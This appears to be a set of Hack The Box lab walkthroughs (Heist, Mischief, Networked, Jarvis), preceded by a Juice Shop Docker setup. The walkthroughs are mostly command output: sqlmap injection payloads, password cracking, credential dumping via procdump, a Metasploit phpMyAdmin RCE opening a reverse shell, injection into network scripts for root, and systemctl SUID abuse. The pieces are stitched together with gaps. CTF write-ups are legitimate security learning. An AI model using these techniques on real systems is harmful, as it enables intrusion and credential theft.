OWASP Juice Shop is a vulnerable web application which contains bunch of vulnerabilities in the OWASP TOP 10.
This is the explanation of environment creation for OWASP Juice Shop with Docker.
With the following command, we can launch OWASP Juice Shop on Docker.
root@kali:~# docker run --rm-p 3000:3000 bkimminich/juice-shop
> juice-shop@9.3.0 start /juice-shop
> node app
info: All dependencies in ./package.json are satisfied (OK)
info: Detected Node.js version v12.13.1 (OK)
info: Detected OS linux (OK)
info: Detected CPU x64 (OK)
info: Required file index.html is present (OK)
info: Required file styles.css is present (OK)
info: Required file main-es2015.js is present (OK)
info: Required file polyfills-es2015.js is present (OK)
info: Required file runtime-es2015.js is present (OK)
info: Required file vendor-es2015.js is present (OK)
info: Required file main-es5.js is present (OK)
info: Required file polyfills-es5.js is present (OK)
info: Required file runtime-es5.js is present (OK)
info: Required file vendor-es5.js is present (OK)
info: Configuration default validated (OK)
info: Port 3000 is available (OK)
info: Server listening on port 3000
3. Version confirmation
root@kali:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2019.4
Codename: kali-rolling
root@kali:~#
root@kali:~# docker --version
Docker version 19.03.4, build 9013bf5
root@kali:~#
4. Remove Docker container
When terminate the OWASP Juice Shop container, at first, check the container ID.
root@kali:~# docker container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a9214ce6b90b bkimminich/juice-shop "docker-entrypoint.s…" 2 days ago Up 2 days 0.0.0.0:3000->3000/tcp sleepy_kalam
root@kali:~#
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Heist”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.149 -sV-sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-30 16:11 EET
Nmap scan report for 10.10.10.149
Host is up (0.043s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 52s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-11-30T14:15:43
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 258.38 seconds
root@kali:~#
On the port 80, we can find a login console.
We don’t have any credential yet but we can login as a guest.’
Then, we can see the following messages.
One of the post has an attachment that is a config file of cisco router.
root@kali:~# curl http://10.10.10.149/attachments/config.txt
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!!
ip ssh authentication-retries 5
ip ssh version 2
!!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0 mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
root@kali:~#
We found 3 password hashes.
Cisco type 5 is MD5 and type 7 is something Cisco original.
root@kali:~# john cisco5.hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type"md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash(md5crypt, crypt(3)$1$ (and variants)[MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:00:15 DONE (2019-11-30 19:56) 0.06561g/s 230047p/s 230047c/s 230047C/s stealthy001..stcroix85
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~#
Next, crack the Cisco type 7 hashes.
We can use this website for that purpose and achieve following 2 passwords.
$uperP@ssword
Q4)sJu\Y8qz*A3?d
Now we have the following users from “issues.php” and passwords from “/attachment/config.txt”.
Then, try each pattern for SMB login with CrackMapExec.
To obtain information from the process, we can use a tool Procdump.
Download it and extract, then upload the “procdump.exe” binary with a command “upload”.
Then, execute the “procdump.exe”.
It generates a process file for the firefox and this time 5 files are created with 5 command executions for 5 processes.
*Evil-WinRM* PS C:\Users\Chase\Desktop> ./procdump.exe -ma 6728 -accepteula
ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[02:28:58] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_191202_022858.dmp
[02:28:58] Dump 1 writing: Estimated dump file size is 280 MB.
[02:29:02] Dump 1 complete: 281 MB written in 3.4 seconds
[02:29:02] Dump count reached.
*Evil-WinRM* PS C:\Users\Chase\Desktop>
Try to analyze the process file.
To look for a word “password” in the process and we can find an URL parameter “password”.
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
This is a walkthrough of a box “Mischief”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.92 -sV-sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 15:43 EET
Nmap scan report for 10.10.10.92
Host is up (0.047s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
| 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth:
| HTTP/1.0 401 Unauthorized\x0D
|_ Basic realm=Test
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.65 seconds
UDP Port Scanning:
root@kali:~# nmap -sU 10.10.10.92 --top-ports 1000
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-20 15:47 EET
Nmap scan report for 10.10.10.92
Host is up (0.047s latency).
Not shown: 999 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 12.42 seconds
2. Getting User
For TCP, we have HTTP but it is protected with Basic Auth.
root@kali:~# curl -i http://10.10.10.92:3366
HTTP/1.0 401 Unauthorized
Server: SimpleHTTP/0.6 Python/2.7.15rc1
Date: Wed, 20 Nov 2019 13:53:16 GMT
WWW-Authenticate: Basic realm="Test"
Content-type: text/html
no auth header received
With the credential, we can login to the web server for IPv6.
loki:godofmischiefisloki
We got another credential. Then, try to look for a place to use.
If we go over the above process enumeration, we can find that apache is running but there is no port listening.
apache2 usr/sbin/apache2 -k start
Then, enumerate IPv6 address.
We can use a SNMP IPv6 enumerator enyx for this purpose.
root@kali:~# ncat -6-lv dead:beef:2::100b 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on dead:beef:2::100b:443
Ncat: Connection from dead:beef::250:56ff:feb9:c793.
Ncat: Connection from dead:beef::250:56ff:feb9:c793:59574.
$ id
id
uid=33(www-data)gid=33(www-data)groups=33(www-data)$
Then, try to look at the home directory of only one user “loki”.
We can find a possible password “lokiisthebestnorsegod”.
However, if we take a look at user “www-data”, we can notice that we can run “su” command and become “root”
$ su root
su root
Password: lokipasswordmischieftrickery
root@Mischief:/home/loki# id
id
uid=0(root)gid=0(root)groups=0(root)
root@Mischief:/home/loki#
However, we don’t have a correct “root.txt” in the directory “/root”.
root@Mischief:/home/loki# cat /root/root.txt
cat /root/root.txt
The flag is not here, get a shell to find it!
root@Mischief:/home/loki#
By running following command, we can find the correct “root.txt”.
Sounds “upload.php” is to upload a file. The function for that is defined in “lib.php”
upload.php:
<?phprequire'/var/www/html/lib.php';define("UPLOAD_DIR","/var/www/html/uploads/");if(isset($_POST['submit'])){if(!empty($_FILES["myFile"])){$myFile=$_FILES["myFile"];if(!(check_file_type($_FILES["myFile"])&&filesize($_FILES['myFile']['tmp_name'])<60000)){echo'<pre>Invalid image file.</pre>';displayform();}if($myFile["error"]!==UPLOAD_ERR_OK){echo"<p>An error occurred.</p>";displayform();exit;}//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];list($foo,$ext)=getnameUpload($myFile["name"]);$validext=array('.jpg','.png','.gif','.jpeg');$valid=false;foreach($validextas$vext){if(substr_compare($myFile["name"],$vext,-strlen($vext))===0){$valid=true;}}if(!($valid)){echo"<p>Invalid image file</p>";displayform();exit;}$name=str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;$success=move_uploaded_file($myFile["tmp_name"],UPLOAD_DIR.$name);if(!$success){echo"<p>Unable to save file.</p>";exit;}echo"<p>file uploaded, refresh gallery</p>";// set proper permissions on the new filechmod(UPLOAD_DIR.$name,0644);}}else{displayform();}?>
lib.php:
<?php---functionfile_mime_type($file){$regexp='/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';if(function_exists('finfo_file')){$finfo=finfo_open(FILEINFO_MIME);if(is_resource($finfo))// It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system{$mime=@finfo_file($finfo,$file['tmp_name']);finfo_close($finfo);if(is_string($mime)&&preg_match($regexp,$mime,$matches)){$file_type=$matches[1];return$file_type;}}}if(function_exists('mime_content_type')){$file_type=@mime_content_type($file['tmp_name']);if(strlen($file_type)>0)// It's possible that mime_content_type() returns FALSE or an empty string{return$file_type;}}return$file['type'];}---functioncheck_file_type($file){$mime_type=file_mime_type($file);if(strpos($mime_type,'image/')===0){returntrue;}else{returnfalse;}}---functiongetnameUpload($filename){$pieces=explode('.',$filename);$name=array_shift($pieces);$name=str_replace('_','.',$name);$ext=implode('.',$pieces);returnarray($name,$ext);}---?>
In summerize, what “upload.php” is doing the followings.
Check if the uploaded file is valid with “check_file_type()”.
“check_file_type()” checks the magic bytes of the file with “check_mime_type()”.
Check the extension of the uploaded file
If these are OK, create a name of uploaded file with “getnameUploaded()”
Finally, move the uploaded file from the temporary directory to “/uploads”
This means, by using double extention method, with adding appropriate magic bytes, we can bypass the filter.
At first, create following file.
The important line is following.
Since $value is name of a file in the directory “/var/www/html/uploads/”, by creating a file, we can inject this variable.
root@kali:~# nc -nlvp 4443
listening on [any] 4443 ...
connect to [10.10.14.13] from (UNKNOWN)[10.10.10.146] 49000
python -c'import pty;pty.spawn("/bin/bash")'[guly@networked ~]$ id
id
uid=1000(guly)gid=1000(guly)groups=1000(guly)[guly@networked ~]$
As always, check if we can do something as a root.
We can execute “/usr/local/sbin/changename.sh” as root with no password.
[guly@networked ~]$ sudo-lsudo-l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$
“changename.sh” is a bash script which tries to rewrite the content of “/etc/sysconfig/network-scripts/ifconfig-guly” each time it is executed.
[guly@networked ~]$ cat /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -pcat> /etc/sysconfig/network-scripts/ifcfg-guly <<EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO;do
echo"interface $var:"read x
while[[!$x=~ $regexp]];do
echo"wrong input, try again"echo"interface $var:"read x
done
echo$var=$x>> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
[guly@networked ~]$
Execution of changename.sh:
take user input as “$x”
write each config “NAME”, “PROXY_METHOD”, “BROWSER_ONLY”, “BOOTPROTO” in “ifconfig-guly”
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
test
test
interface PROXY_METHOD:
test
test
interface BROWSER_ONLY:
test
test
interface BOOTPROTO:
test
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
[guly@networked ~]$
To find a way to pwn this script, we can google like following.
We can find a discussion of seclist.org about getting root through network-scripts.
linux ifcfg script code execution full disclosure
According to this discussion, Redhat/CentOS has a vulnerability that if we have write permission for ifcf script in “/etc/sysconfig/network-scripts”, we can achieve a root privilege of the host.
So try to put some spaces in the input. we can find interesting lines.
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: y: command not found
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
x y
x y
interface PROXY_METHOD:
x y
x y
interface BROWSER_ONLY:
x y
x y
interface BOOTPROTO:
x y
x y
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: y: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: y: command not found
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
[guly@networked ~]$
Then, try to inject the script by having “bash” as a 2nd argument of input.
We can achieve a root shell.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
x bash
x bash
interface PROXY_METHOD:
x y
x y
interface BROWSER_ONLY:
x y
x y
interface BOOTPROTO:
x y
x y
[root@networked network-scripts]# id
id
uid=0(root)gid=0(root)groups=0(root)[root@networked network-scripts]#
Hackthebox is a website which has a bunch of vulnerable machines in its own VPN.
To learn a new technique/knowledge, solve all machines (As much as possible!!).
This is a walkthrough of a box “Jarvis”.
Solution
1. Initial Enumeration
TCP Port Scanning:
root@kali:~# nmap -p- 10.10.10.143 -sV-sC
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-07 13:41 EET
Nmap scan report for 10.10.10.143
Host is up (0.047s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.42 seconds
On the port 80, there is a website which we can researve a room of a hotel.
In the path “/room.php”, we have a parameter for GET request which is “cod”.
By putting a single quote, we can confirm that there is no picture.
This means that the parameter “cod” is not handled appropriately.
Then, we can try to check if there is really a SQL injection.
We can use SQLmap and figure out that the parameter “cod” is actually vulnerable.
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod=1
___
__H__
___ ___[,]_____ ___ ___ {1.3.10#stable}
|_ -| .[,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
~~~
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 3862=3862
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 6380 FROM (SELECT(SLEEP(5)))sIAL)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3382 UNION ALL SELECT NULL,CONCAT(0x7176767871,0x724a4941577351594f52566f7673496e674b42744c4354476f78444c555252715565706d504c6474,0x7178717171),NULL,NULL,NULL,NULL,NULL-- AKaz
---
[19:45:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[19:45:48] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'
[*] ending @ 19:45:48 /2019-11-09/
Next, we use SQLmap with an option “–password”.
We can ahieve following credential.
DBadmin:imissyou
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod=1 --passwords
___
__H__
___ ___[,]_____ ___ ___ {1.3.10#stable}
|_ -| .[(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:59:50 /2019-11-09/
~~~
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
clear-text password: imissyou
[21:00:11] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'[*] ending @ 21:00:11 /2019-11-09/
After that, try to login to phpadmin with the credential.
We can figure out that the version of phpmyadmin is “4.8.0”
Metasploit has several exploits for Authenticated remote code execution of phpmyadmin.
msf5 > search phpmyadmin
Matching Modules
================# Name Disclosure Date Rank Check Description
- ---------------------------------------
0 auxiliary/admin/http/telpho10_credential_dump 2016-09-02 normal No Telpho10 Backup Credentials Dumper
1 auxiliary/scanner/http/phpmyadmin_login normal Yes PhpMyAdmin Login Scanner
2 exploit/multi/http/phpmyadmin_3522_backdoor 2012-09-25 normal No phpMyAdmin 3.5.2.2 server_sync.php Backdoor
3 exploit/multi/http/phpmyadmin_lfi_rce 2018-06-19 good Yes phpMyAdmin Authenticated Remote Code Execution
4 exploit/multi/http/phpmyadmin_null_termination_exec 2016-06-23 excellent Yes phpMyAdmin Authenticated Remote Code Execution
5 exploit/multi/http/phpmyadmin_preg_replace 2013-04-25 excellent Yes phpMyAdmin Authenticated Remote Code Execution via preg_replace()
6 exploit/multi/http/zpanel_information_disclosure_rce 2014-01-30 excellent No Zpanel Remote Unauthenticated RCE
7 exploit/unix/webapp/phpmyadmin_config 2009-03-24 excellent No PhpMyAdmin Config File Code Injection
8 post/linux/gather/phpmyadmin_credsteal normal No Phpmyadmin credentials stealer
msf5 >
This time, “exploit/multi/http/phpmyadmin_lfi_rce” was used.
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
msf5 exploit(multi/http/phpmyadmin_lfi_rce)> show options
Module options (exploit/multi/http/phpmyadmin_lfi_rce):
Name Current Setting Required Description
--------------------------------------
PASSWORD no Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /phpmyadmin/ yes Base phpMyAdmin directory path
USERNAME root yes Username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
------
0 Automatic
msf5 exploit(multi/http/phpmyadmin_lfi_rce)>set password imissyou
password => imissyou
msf5 exploit(multi/http/phpmyadmin_lfi_rce)>set username DBadmin
username => DBadmin
msf5 exploit(multi/http/phpmyadmin_lfi_rce)>set rhosts 10.10.10.143
rhosts => 10.10.10.143
msf5 exploit(multi/http/phpmyadmin_lfi_rce)> run
[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Sending stage (38288 bytes) to 10.10.10.143
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.10.10.143:43688) at 2019-11-10 12:27:06 +0200
[-] 10.10.10.143:80 - Failed to drop database ozviz. Might drop when your session closes.
meterpreter > getuid
Server username: www-data (33)
meterpreter >
By running “sudo -l”, we can find that user “pepper” can run “simpler.py” as root.
meterpreter > shell
Process 4892 created.
Channel 1 created.
sudo-l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
Then, take a look at “simpler.py”.
meterpreter >cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \|'_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path ='/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list =[]
reks =[]
ip =''
req =''
rek =''for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2)> int(level_1):
level_1 = level2
ip_list =[ip]
reks=[rek]
elif int(level2)== int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')if len(ip_list)> 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path ='/home/pepper/Web/Logs/'
listed_files = listdir(path)for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip =''req=''for i in lines:
if'Level'in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex ='(\d+)-(.*)-(\d+)(.*)'logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict ={'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if'Level'in j:
if int(j.split(' ')[4])> int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden =['&', ';', '-', '`', '||', '|']command= input('Enter an IP: ')for i in forbidden:
if i in command:
print('Got you')exit()
os.system('ping ' + command)if __name__ =='__main__':
show_header()if len(sys.argv)!= 2:
show_help()exit()if sys.argv[1] =='-h' or sys.argv[1] =='--help':
show_help()exit()elif sys.argv[1] =='-s':
show_statistics()exit()elif sys.argv[1] =='-l':
list_ip()exit()elif sys.argv[1] =='-p':
exec_ping()exit()else:
show_help()exit()
meterpreter >
Take a look at “exec_ping.”
We can confirm that “exec_ping “ is executing our input with no checking of “$”.
defexec_ping():forbidden=['&',';','-','`','||','|']command=input('Enter an IP: ')foriinforbidden:ifiincommand:print('Got you')exit()os.system('ping '+command)
However, we can’t get any output from this terminal.
So get another reverse shell as a user “pepper”.
To launch a netcat listener and execute following command as a user “pepper”.
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN)[10.10.10.143] 55322
pepper@jarvis:/home$ id
id
uid=1000(pepper)gid=1000(pepper)groups=1000(pepper)
pepper@jarvis:/home$
user.txt in in the directory “/home/pepper”.
pepper@jarvis:~$ ls-lls-l
total 12
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-rw-r--r-- 1 pepper pepper 114 Nov 9 10:18 arnotic.service
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
pepper@jarvis:~$ cat user.txt
cat user.txt
2afa36c4f05b37b34259c93551f5c44f
pepper@jarvis:~$
3. Getting Root
As always, check SUID binary.
The interesting thing is that user “pepper” can run “systemctl” as root.
pepper@jarvis:~$ find / -perm-4000-execls-al{}\; 2>/dev/null
find / -perm-4000-execls-al{}\; 2>/dev/null
-rwsr-xr-x 1 root root 30800 Aug 21 2018 /bin/fusermount
-rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount
-rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl
-rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount
-rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 440728 Mar 1 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Mar 2 2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
According to this article, we can execute any command with this security gap.
To obtain this purpose, at first, confirm that we have old version of “nc” command.
pepper@jarvis:~$ nc -h
nc -h[v1.10-41+b1]
connect to somewhere: nc [-options]hostname port[s] [ports] ...
listen for inbound: nc -l-p port [-options][hostname][port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
pepper@jarvis:~$
After that, launch a netcat listener and execute the “privesc.service” with following commands.
We can achieve a reverse shell as a root user.
pepper@jarvis:~$ /bin/systemctl link /home/pepper/privesc.service
/bin/systemctl link /home/pepper/privesc.service
Created symlink /etc/systemd/system/privesc.service -> /home/pepper/privesc.service.
